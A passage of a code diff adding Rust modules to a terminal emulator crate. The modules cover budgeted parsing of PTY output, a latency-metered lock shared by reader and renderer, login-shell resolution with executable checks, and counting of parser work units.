/// matter what the payload is or what the feeder has seen before.
|
||||||
|
///
|
||||||
|
/// Returns the work spent, which is at least the budget whenever the tail
|
||||||
|
/// is still non-empty on return.
|
||||||
|
pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
|
||||||
|
// Slices are copied out of the tail rather than borrowed from it,
|
||||||
|
// because `advance_slice` needs `&mut self` and the tail is part of
|
||||||
|
// self. A stack buffer keeps that from allocating; the copy is a
|
||||||
|
// memcpy against a parse two orders of magnitude more expensive.
|
||||||
|
let mut buf = [0u8; MAX_SLICE];
|
||||||
|
let mut spent: u64 = 0;
|
||||||
|
while self.pending_at < self.pending.len() {
|
||||||
|
// Size each slice against what is *left* of the budget, and
|
||||||
|
// against what is actually in front of the parser. A slice can
|
||||||
|
// only be as expensive as the callbacks it contains, and only an
|
||||||
|
// escape can buy grid-sized work in two bytes -- so a plain run
|
||||||
|
// is sliced against the plain-byte cost and stops at the next
|
||||||
|
// `ESC`, which then gets a slice metered against the worst atom.
|
||||||
|
// The drain therefore returns on the atom that crosses the
|
||||||
|
// budget, not at the end of a slice that ran several more.
|
||||||
|
//
|
||||||
|
// Where one atom is worth more than the entire budget -- RIS at
|
||||||
|
// any real scrollback depth -- that escape gets a one-byte slice.
|
||||||
|
// That is the honest consequence of the law: nothing wider can
|
||||||
|
// promise to stop after the crossing atom when a single atom
|
||||||
|
// always crosses.
|
||||||
|
// A slice is never wider than MAX_SLICE, so the scan for the next
|
||||||
|
// escape stops there too: searching the whole tail would be
|
||||||
|
// O(tail) per slice and O(tail^2) per drain, which measured as a
|
||||||
|
// 7x throughput *regression* on plain text -- a bound that costs
|
||||||
|
// more than the thing it bounds.
|
||||||
|
let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
|
||||||
|
let next_escape = if self.mid_escape {
|
||||||
|
// Already inside a sequence whose callback has not fired. Its
|
||||||
|
// remaining bytes are *not* plain text -- `ESC` then `c` is a
|
||||||
|
// grid reset -- so they keep the escape's metering. Without
|
||||||
|
// this the byte after a lone `ESC` is priced as a character
|
||||||
|
// and the atom rides into a wide slice with whatever follows
|
||||||
|
// it, which is the post-atom overrun by another door.
|
||||||
|
0
|
||||||
|
} else {
|
||||||
|
self.pending[self.pending_at..horizon]
|
||||||
|
.iter()
|
||||||
|
.position(|&b| b == 0x1b)
|
||||||
|
.unwrap_or(horizon - self.pending_at)
|
||||||
|
};
|
||||||
|
let width = slice_bytes_remaining(
|
||||||
|
self.columns,
|
||||||
|
self.lines,
|
||||||
|
self.scrollback,
|
||||||
|
spent,
|
||||||
|
next_escape,
|
||||||
|
);
|
||||||
|
let end = (self.pending_at + width).min(self.pending.len());
|
||||||
|
let len = end - self.pending_at;
|
||||||
|
buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
|
||||||
|
self.pending_at = end;
|
||||||
|
let cost = self.advance_slice(handler, &buf[..len]);
|
||||||
|
// A slice that contained an escape but dispatched nothing left the
|
||||||
|
// parser mid-sequence. Work is the signal because it is the thing
|
||||||
|
// being budgeted: a sequence that has not yet cost anything has
|
||||||
|
// not yet run.
|
||||||
|
self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
|
||||||
|
spent = spent.saturating_add(cost);
|
||||||
|
if spent >= WORK_BUDGET {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if self.pending_at == self.pending.len() {
|
||||||
|
self.pending.clear();
|
||||||
|
self.pending_at = 0;
|
||||||
|
}
|
||||||
|
let depth = self.pending_bytes();
|
||||||
|
self.stats.max_pending = self.stats.max_pending.max(depth);
|
||||||
|
if depth >= TAIL_CAP {
|
||||||
|
self.stats.tail_breaches += 1;
|
||||||
|
}
|
||||||
|
spent
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse one slice, applying both fences to it. Returns the work it cost.
|
||||||
|
fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
|
||||||
|
let mut spent: u64 = 0;
|
||||||
|
let sync_before = self.parser.sync_bytes_count();
|
||||||
|
{
|
||||||
|
let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
|
||||||
|
self.parser.advance(&mut counting, bytes);
|
||||||
|
self.stats.completed_units =
|
||||||
|
self.stats.completed_units.saturating_add(counting.units());
|
||||||
|
self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
|
||||||
|
spent = spent.saturating_add(counting.work());
|
||||||
|
}
|
||||||
|
let sync_after = self.parser.sync_bytes_count();
|
||||||
|
|
||||||
|
// Charge exactly the bytes the parser could see, by route:
|
||||||
|
//
|
||||||
|
// * the buffer shrank -> a synchronized update ended and released
|
||||||
|
// `sync_before` buffered bytes plus whatever of `bytes` followed it.
|
||||||
|
// Charging only `bytes` here is the "omitted flush accounting"
|
||||||
|
// mutation: it under-charges by the whole buffered frame.
|
||||||
|
// * the buffer grew -> these bytes were swallowed into the buffer
|
||||||
|
// and are not yet parser-visible. Charging them now is the "raw
|
||||||
|
// counting" mutation: it over-charges, and resets the parser in the
|
||||||
|
// middle of a legitimate frame, destroying content.
|
||||||
|
// * neither -> ordinary unsynchronized input.
|
||||||
|
let charged = if sync_after < sync_before {
|
||||||
|
let released = sync_before + bytes.len() - sync_after;
|
||||||
|
self.note_release(released);
|
||||||
|
released
|
||||||
|
} else if sync_after > sync_before {
|
||||||
|
// Buffered, not yet visible. Charged when it is released.
|
||||||
|
0
|
||||||
|
} else {
|
||||||
|
bytes.len()
|
||||||
|
};
|
||||||
|
self.charge(charged);
|
||||||
|
|
||||||
|
// F1: a synchronized update may not buffer without bound. One abort
|
||||||
|
// per breach; the released bytes are parser-visible and are charged.
|
||||||
|
if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
|
||||||
|
let released = self.parser.sync_bytes_count();
|
||||||
|
// Counted too: aborting flushes the buffered frame through the
|
||||||
|
// handler, so these are units the lock hold paid for. Leaving them
|
||||||
|
// out would undercount exactly on the fenced path.
|
||||||
|
{
|
||||||
|
let mut counting =
|
||||||
|
Counting::new(handler, self.columns, self.lines, self.scrollback);
|
||||||
|
self.parser.stop_sync(&mut counting);
|
||||||
|
self.stats.completed_units =
|
||||||
|
self.stats.completed_units.saturating_add(counting.units());
|
||||||
|
self.stats.completed_work =
|
||||||
|
self.stats.completed_work.saturating_add(counting.work());
|
||||||
|
spent = spent.saturating_add(counting.work());
|
||||||
|
}
|
||||||
|
self.stats.sync_aborts += 1;
|
||||||
|
self.note_release(released);
|
||||||
|
self.charge(released);
|
||||||
|
}
|
||||||
|
|
||||||
|
// F2: rebuild the parser once the budget is spent. Unconditional --
|
||||||
|
// a fresh `Processor` is the only way to discard parser state that a
|
||||||
|
// hostile stream is holding open, and it must not depend on the
|
||||||
|
// parser agreeing that it is in a bad state.
|
||||||
|
if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
|
||||||
|
self.parser = Processor::new();
|
||||||
|
self.stats.osc_resets += 1;
|
||||||
|
self.since_reset = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
spent
|
||||||
|
}
|
||||||
|
|
||||||
|
fn charge(&mut self, bytes: usize) {
|
||||||
|
self.since_reset += bytes;
|
||||||
|
self.stats.charged_bytes += bytes as u64;
|
||||||
|
}
|
||||||
|
|
||||||
|
fn note_release(&mut self, bytes: usize) {
|
||||||
|
if bytes > self.stats.max_release {
|
||||||
|
self.stats.max_release = bytes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
305
desktop/src-tauri/crates/buzz-terminal/src/shared.rs
Normal file
305
desktop/src-tauri/crates/buzz-terminal/src/shared.rs
Normal file
@@ -0,0 +1,305 @@
|
|||||||
|
//! The lock the reader and the renderer contend for, and the meter on it.
|
||||||
|
//!
|
||||||
|
//! This lives in the engine crate rather than in the embedder because the
|
||||||
|
//! property it exists to prove is a property of the emulator *and* the lock
|
||||||
|
//! together: F1 bounds how many bytes one `feed` releases into the parser,
|
||||||
|
//! which bounds how long the reader can hold this mutex, which bounds how long
|
||||||
|
//! the renderer waits for it. Split the lock out to the Tauri layer and the
|
||||||
|
//! gate can only be written where no fixture runs.
|
||||||
|
//!
|
||||||
|
//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
|
||||||
|
//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
|
||||||
|
//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
|
||||||
|
//! wrong quantity; waiting time is the one a human feels. So the two planes are
|
||||||
|
//! metered separately: pooling them would let the reader's millions of fast
|
||||||
|
//! acquires dilute the renderer's tail into a false pass.
|
||||||
|
|
||||||
|
use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
|
||||||
|
use std::time::Instant;
|
||||||
|
|
||||||
|
use alacritty_terminal::sync::FairMutex;
|
||||||
|
use parking_lot::MutexGuard;
|
||||||
|
|
||||||
|
use crate::damage::{self, Encoder, Frame};
|
||||||
|
use crate::Terminal;
|
||||||
|
|
||||||
|
/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
|
||||||
|
/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
|
||||||
|
/// the point: nothing is silently clamped into the last bucket.
|
||||||
|
const BUCKETS: usize = 32;
|
||||||
|
|
||||||
|
fn bucket_of(micros: u64) -> usize {
|
||||||
|
(u64::BITS - micros.leading_zeros()) as usize
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
|
||||||
|
/// reported latency is never better than what was actually observed.
|
||||||
|
fn bucket_ceiling(bucket: usize) -> u64 {
|
||||||
|
if bucket == 0 {
|
||||||
|
0
|
||||||
|
} else {
|
||||||
|
(1u64 << bucket) - 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lock-acquisition latencies for one plane, recorded without taking a second
|
||||||
|
/// lock -- an instrument that contends is measuring itself.
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct AcquireMeter {
|
||||||
|
acquisitions: AtomicU64,
|
||||||
|
max_micros: AtomicU64,
|
||||||
|
buckets: [AtomicU32; BUCKETS],
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for AcquireMeter {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
acquisitions: AtomicU64::new(0),
|
||||||
|
max_micros: AtomicU64::new(0),
|
||||||
|
buckets: std::array::from_fn(|_| AtomicU32::new(0)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AcquireMeter {
|
||||||
|
fn record(&self, micros: u64) {
|
||||||
|
self.acquisitions.fetch_add(1, Ordering::Relaxed);
|
||||||
|
self.max_micros.fetch_max(micros, Ordering::Relaxed);
|
||||||
|
self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Read the counters. Cheap and non-blocking; safe to call from a gate
|
||||||
|
/// while the flood is still running.
|
||||||
|
pub fn snapshot(&self) -> AcquireStats {
|
||||||
|
AcquireStats {
|
||||||
|
acquisitions: self.acquisitions.load(Ordering::Relaxed),
|
||||||
|
max_micros: self.max_micros.load(Ordering::Relaxed),
|
||||||
|
buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Clear the counters. Diagnostics are per-run.
|
||||||
|
pub fn reset(&self) {
|
||||||
|
self.acquisitions.store(0, Ordering::Relaxed);
|
||||||
|
self.max_micros.store(0, Ordering::Relaxed);
|
||||||
|
for bucket in &self.buckets {
|
||||||
|
bucket.store(0, Ordering::Relaxed);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A read of one plane's acquisition latencies.
|
||||||
|
///
|
||||||
|
/// `max_micros` is exact because the budget it answers to -- no acquire above
|
||||||
|
/// one frame at 60 Hz -- is a statement about a single worst event. The
|
||||||
|
/// distribution is bucketed by powers of two because the budget *it* answers to
|
||||||
|
/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
|
||||||
|
/// resolution against 80x of margin buys nothing for the memory it costs.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub struct AcquireStats {
|
||||||
|
pub acquisitions: u64,
|
||||||
|
pub max_micros: u64,
|
||||||
|
buckets: [u32; BUCKETS],
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AcquireStats {
|
||||||
|
/// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
|
||||||
|
/// the enclosing bucket's ceiling.
|
||||||
|
pub fn percentile_micros(&self, p: f64) -> u64 {
|
||||||
|
if self.acquisitions == 0 {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
let target = (self.acquisitions as f64 * p).ceil() as u64;
|
||||||
|
let mut seen = 0u64;
|
||||||
|
for (bucket, count) in self.buckets.iter().enumerate() {
|
||||||
|
seen += *count as u64;
|
||||||
|
if seen >= target {
|
||||||
|
return bucket_ceiling(bucket);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.max_micros
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A [`Terminal`] shared between the PTY reader and the renderer.
|
||||||
|
pub struct SharedTerminal {
|
||||||
|
term: FairMutex<Terminal>,
|
||||||
|
reader: AcquireMeter,
|
||||||
|
renderer: AcquireMeter,
|
||||||
|
closing: AtomicBool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SharedTerminal {
|
||||||
|
pub fn new(term: Terminal) -> Self {
|
||||||
|
Self {
|
||||||
|
term: FairMutex::new(term),
|
||||||
|
reader: AcquireMeter::default(),
|
||||||
|
renderer: AcquireMeter::default(),
|
||||||
|
closing: AtomicBool::new(false),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Acquisition latencies for the PTY-reader plane.
|
||||||
|
pub fn reader_acquire(&self) -> &AcquireMeter {
|
||||||
|
&self.reader
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Acquisition latencies for the renderer plane. This is the one with a
|
||||||
|
/// budget attached.
|
||||||
|
pub fn renderer_acquire(&self) -> &AcquireMeter {
|
||||||
|
&self.renderer
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Feed PTY output into the emulator. Reader plane.
|
||||||
|
///
|
||||||
|
/// Returns whether a tail remains: one acquisition parses one work
|
||||||
|
/// budget, then **drops the lock** so the renderer can have it. The
|
||||||
|
/// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
|
||||||
|
/// the whole buffer under one acquisition is what an unbounded hold *is*,
|
||||||
|
/// so it is not offered here.
|
||||||
|
pub fn feed(&self, bytes: &[u8]) -> bool {
|
||||||
|
let mut term = self.acquire(&self.reader);
|
||||||
|
if self.closing.load(Ordering::Acquire) {
|
||||||
|
false
|
||||||
|
} else {
|
||||||
|
term.feed(bytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse more of the pending tail under a fresh acquisition. Reader
|
||||||
|
/// plane. Returns whether any remains.
|
||||||
|
pub fn drain(&self) -> bool {
|
||||||
|
let mut term = self.acquire(&self.reader);
|
||||||
|
if self.closing.load(Ordering::Acquire) {
|
||||||
|
false
|
||||||
|
} else {
|
||||||
|
term.drain()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Feed and pump to completion, re-acquiring between slices.
|
||||||
|
pub fn feed_fully(&self, bytes: &[u8]) {
|
||||||
|
let mut more = self.feed(bytes);
|
||||||
|
while more {
|
||||||
|
more = self.drain();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Atomically enter close mode and discard parser work. Subsequent PTY
|
||||||
|
/// bytes are raw-drained by the embedder and never reach callbacks.
|
||||||
|
pub fn begin_closing(&self) -> usize {
|
||||||
|
self.closing.store(true, Ordering::Release);
|
||||||
|
self.acquire(&self.reader).abandon_tail()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_closing(&self) -> bool {
|
||||||
|
self.closing.load(Ordering::Acquire)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sample damage and encode a frame. Renderer plane.
|
||||||
|
///
|
||||||
|
/// The lock covers the copy only; `encode` -- hashing, span grouping,
|
||||||
|
/// allocation -- runs after the guard drops, which is worth ~75x in hold
|
||||||
|
/// time. The `Encoder` is the caller's because its dedup state is per
|
||||||
|
/// consumer, and passing it in keeps the encode off this lock by
|
||||||
|
/// construction rather than by remembering to.
|
||||||
|
pub fn render(&self, encoder: &mut Encoder) -> Frame {
|
||||||
|
let raw = {
|
||||||
|
let mut term = self.acquire(&self.renderer);
|
||||||
|
damage::capture(&mut term)
|
||||||
|
};
|
||||||
|
encoder.encode(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copy the whole viewport for a subscriber that arrived mid-stream.
|
||||||
|
/// Renderer plane.
|
||||||
|
///
|
||||||
|
/// Attach, reattach, and the successor side of a resize all need the
|
||||||
|
/// screen as it stands, not the next thing to change on it. Crucially this
|
||||||
|
/// leaves damage alone, so taking a snapshot for a newcomer cannot steal
|
||||||
|
/// the incumbent renderer's pending rows -- see [`damage::capture_all`].
|
||||||
|
///
|
||||||
|
/// Costs a full grid copy under the lock, so call it on attach rather than
|
||||||
|
/// per frame.
|
||||||
|
pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
|
||||||
|
let raw = {
|
||||||
|
let mut term = self.acquire(&self.renderer);
|
||||||
|
damage::capture_all(&mut term)
|
||||||
|
};
|
||||||
|
encoder.encode(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Move the viewport through scrollback. Renderer plane.
|
||||||
|
///
|
||||||
|
/// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
|
||||||
|
/// whether it moved, so the caller can skip capture and publication for
|
||||||
|
/// the momentum tail that arrives after history has run out.
|
||||||
|
pub fn scroll(&self, lines: i32) -> bool {
|
||||||
|
self.acquire(&self.renderer).scroll(lines)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Return the viewport to the live edge. Renderer plane. Returns whether
|
||||||
|
/// it moved, so an unscrolled terminal costs one comparison per keystroke
|
||||||
|
/// and no repaint.
|
||||||
|
pub fn scroll_to_bottom(&self) -> bool {
|
||||||
|
self.acquire(&self.renderer).scroll_to_bottom()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply a coalesced resize. Renderer plane: this competes with the
|
||||||
|
/// renderer for the same lock and can hold it for milliseconds.
|
||||||
|
pub fn resize(&self, size: crate::Size) -> crate::Viewport {
|
||||||
|
self.acquire(&self.renderer).resize(size)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Take the lock for something the methods above don't cover (input,
|
||||||
|
/// reading stats). Metered on the renderer plane, since anything
|
||||||
|
/// that isn't the read loop competes with the renderer for the same lock.
|
||||||
|
pub fn lock(&self) -> MutexGuard<'_, Terminal> {
|
||||||
|
self.acquire(&self.renderer)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Modes the renderer/input boundary needs to report alongside frames.
|
||||||
|
pub fn input_modes(&self) -> (bool, bool) {
|
||||||
|
let term = self.acquire(&self.renderer);
|
||||||
|
let mode = term.term().mode();
|
||||||
|
(
|
||||||
|
mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
|
||||||
|
mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
|
||||||
|
let started = Instant::now();
|
||||||
|
let guard = self.term.lock();
|
||||||
|
meter.record(started.elapsed().as_micros() as u64);
|
||||||
|
guard
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::{Fences, Size};
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
|
||||||
|
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
|
||||||
|
let shared = SharedTerminal::new(terminal);
|
||||||
|
let payload = b"\x1b#8".repeat(10_000);
|
||||||
|
|
||||||
|
assert!(shared.feed(&payload), "fixture must create parser tail");
|
||||||
|
let before = shared.lock().stats();
|
||||||
|
let abandoned = shared.begin_closing();
|
||||||
|
assert!(abandoned > 0, "close must abandon without draining first");
|
||||||
|
assert!(shared.is_closing());
|
||||||
|
|
||||||
|
assert!(!shared.feed(b"parser callback after close"));
|
||||||
|
assert!(!shared.drain());
|
||||||
|
let after = shared.lock().stats();
|
||||||
|
assert_eq!(after.completed_units, before.completed_units);
|
||||||
|
assert_eq!(
|
||||||
|
after.abandoned_bytes,
|
||||||
|
before.abandoned_bytes + abandoned as u64
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
138
desktop/src-tauri/crates/buzz-terminal/src/shell.rs
Normal file
138
desktop/src-tauri/crates/buzz-terminal/src/shell.rs
Normal file
@@ -0,0 +1,138 @@
|
|||||||
|
//! Login-shell resolution for spawned PTY children.
|
||||||
|
//!
|
||||||
|
//! Tyler asked for the user's shell of choice, so the resolution order is the
|
||||||
|
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
|
||||||
|
//! is the *validity* test applied at each step, and it is not "the path
|
||||||
|
//! exists".
|
||||||
|
//!
|
||||||
|
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
|
||||||
|
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
|
||||||
|
//! this" for *any* file type, and a directory carries the execute bit to mean
|
||||||
|
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
|
||||||
|
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
|
||||||
|
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
|
||||||
|
//! `Ok`, and the child dies with exit code 1 after printing
|
||||||
|
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
|
||||||
|
//! The user gets a terminal that opens and instantly dies with a Rust runtime
|
||||||
|
//! panic, and every layer above reported success.
|
||||||
|
//!
|
||||||
|
//! So we require an **executable regular file**, following symlinks: `stat`
|
||||||
|
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
|
||||||
|
//! on many systems. A directory or a non-executable file falls through to the
|
||||||
|
//! next candidate instead of becoming an unspawnable child.
|
||||||
|
|
||||||
|
use std::path::Path;
|
||||||
|
|
||||||
|
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
|
||||||
|
/// the machine has bigger problems than our terminal.
|
||||||
|
pub const FALLBACK_SHELL: &str = "/bin/sh";
|
||||||
|
|
||||||
|
/// Returns true if `path` is a regular file this process may execute.
|
||||||
|
///
|
||||||
|
/// The conjunction is load-bearing and neither half suffices:
|
||||||
|
///
|
||||||
|
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
|
||||||
|
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
|
||||||
|
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
|
||||||
|
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
|
||||||
|
/// layer reports success.
|
||||||
|
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
|
||||||
|
/// The bits say *some* class has execute permission, not the applicable
|
||||||
|
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
|
||||||
|
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
|
||||||
|
/// running it gives `Permission denied`.
|
||||||
|
///
|
||||||
|
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
|
||||||
|
/// is legitimate) **and** effective executability via `access(X_OK)`.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub fn is_executable_file(path: &Path) -> bool {
|
||||||
|
let Ok(meta) = std::fs::metadata(path) else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
meta.is_file() && can_execute(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `access(path, X_OK)`: does the *effective* user have execute permission,
|
||||||
|
/// accounting for the applicable permission class and ACLs?
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn can_execute(path: &Path) -> bool {
|
||||||
|
use std::os::unix::ffi::OsStrExt;
|
||||||
|
|
||||||
|
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
|
||||||
|
return false; // interior NUL: not a path we can ask about
|
||||||
|
};
|
||||||
|
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
|
||||||
|
// the call, and `access` only reads it.
|
||||||
|
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
|
||||||
|
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
|
||||||
|
///
|
||||||
|
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
|
||||||
|
/// testable without mutating process-global state; production passes
|
||||||
|
/// `std::env::var_os("SHELL")`.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub fn resolve_shell(shell_env: Option<&str>) -> String {
|
||||||
|
// One validation path for every candidate, deliberately. Validating each
|
||||||
|
// branch separately leaves the passwd branch's check untestable on any
|
||||||
|
// machine whose passwd shell happens to be valid — a mutant that deletes
|
||||||
|
// it survives because nothing can distinguish it. Sharing `validated`
|
||||||
|
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
|
||||||
|
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
|
||||||
|
candidates
|
||||||
|
.into_iter()
|
||||||
|
.flatten()
|
||||||
|
.find(|candidate| validated(candidate))
|
||||||
|
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The single validity test every shell candidate must pass.
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn validated(candidate: &str) -> bool {
|
||||||
|
is_executable_file(Path::new(candidate))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The current user's login shell from the passwd database, unvalidated:
|
||||||
|
/// `resolve_shell` applies the shared [`validated`] check to it.
|
||||||
|
///
|
||||||
|
/// This is the step that matters for a Finder- or launchd-started app, which
|
||||||
|
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
|
||||||
|
/// and call it their shell of choice.
|
||||||
|
#[cfg(unix)]
|
||||||
|
pub(crate) fn passwd_shell() -> Option<String> {
|
||||||
|
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
|
||||||
|
// libc, valid until the next passwd-database call. We copy the string out
|
||||||
|
// before returning and make no other libc calls in between.
|
||||||
|
let shell = unsafe {
|
||||||
|
let ent = libc::getpwuid(libc::getuid());
|
||||||
|
if ent.is_null() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pw_shell = (*ent).pw_shell;
|
||||||
|
if pw_shell.is_null() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
|
||||||
|
};
|
||||||
|
|
||||||
|
Some(shell)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
|
||||||
|
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
|
||||||
|
/// a login shell, without sniffing its name or guessing its flag grammar.
|
||||||
|
///
|
||||||
|
/// `portable-pty` applies this itself for a default program
|
||||||
|
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
|
||||||
|
/// against a value we own rather than against the dependency's behaviour.
|
||||||
|
pub fn login_argv0(shell: &str) -> String {
|
||||||
|
let basename = shell.rsplit('/').next().unwrap_or(shell);
|
||||||
|
format!("-{basename}")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
|
||||||
|
#[cfg(windows)]
|
||||||
|
pub fn resolve_shell(shell_env: Option<&str>) -> String {
|
||||||
|
shell_env.unwrap_or("cmd.exe").to_owned()
|
||||||
|
}
|
||||||
382
desktop/src-tauri/crates/buzz-terminal/src/units.rs
Normal file
382
desktop/src-tauri/crates/buzz-terminal/src/units.rs
Normal file
@@ -0,0 +1,382 @@
|
|||||||
|
//! Counting what the parser *does*, not how many bytes it read.
|
||||||
|
//!
|
||||||
|
//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
|
||||||
|
//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
|
||||||
|
//! and `ESC#8` are four bytes each; the first sets an attribute and the second
|
||||||
|
//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
|
||||||
|
//! therefore prices those identically, and a stream of the second one holds the
|
||||||
|
//! lock for as long as it likes without ever tripping a byte budget.
|
||||||
|
//!
|
||||||
|
//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
|
||||||
|
//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
|
||||||
|
//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
|
||||||
|
//! dropped frames in a single lock hold.
|
||||||
|
//!
|
||||||
|
//! So this module adds a third quantity: the number of *completed parser
|
||||||
|
//! units* -- one per `Handler` callback the parser dispatches, which is one
|
||||||
|
//! per fully-parsed escape sequence or printed character. It is a proxy for
|
||||||
|
//! work rather than a measure of it, but it has the property the byte count
|
||||||
|
//! lacks: it advances once per thing the emulator actually did.
|
||||||
|
//!
|
||||||
|
//! ## Why a wrapper, and not vte's own stopping point
|
||||||
|
//!
|
||||||
|
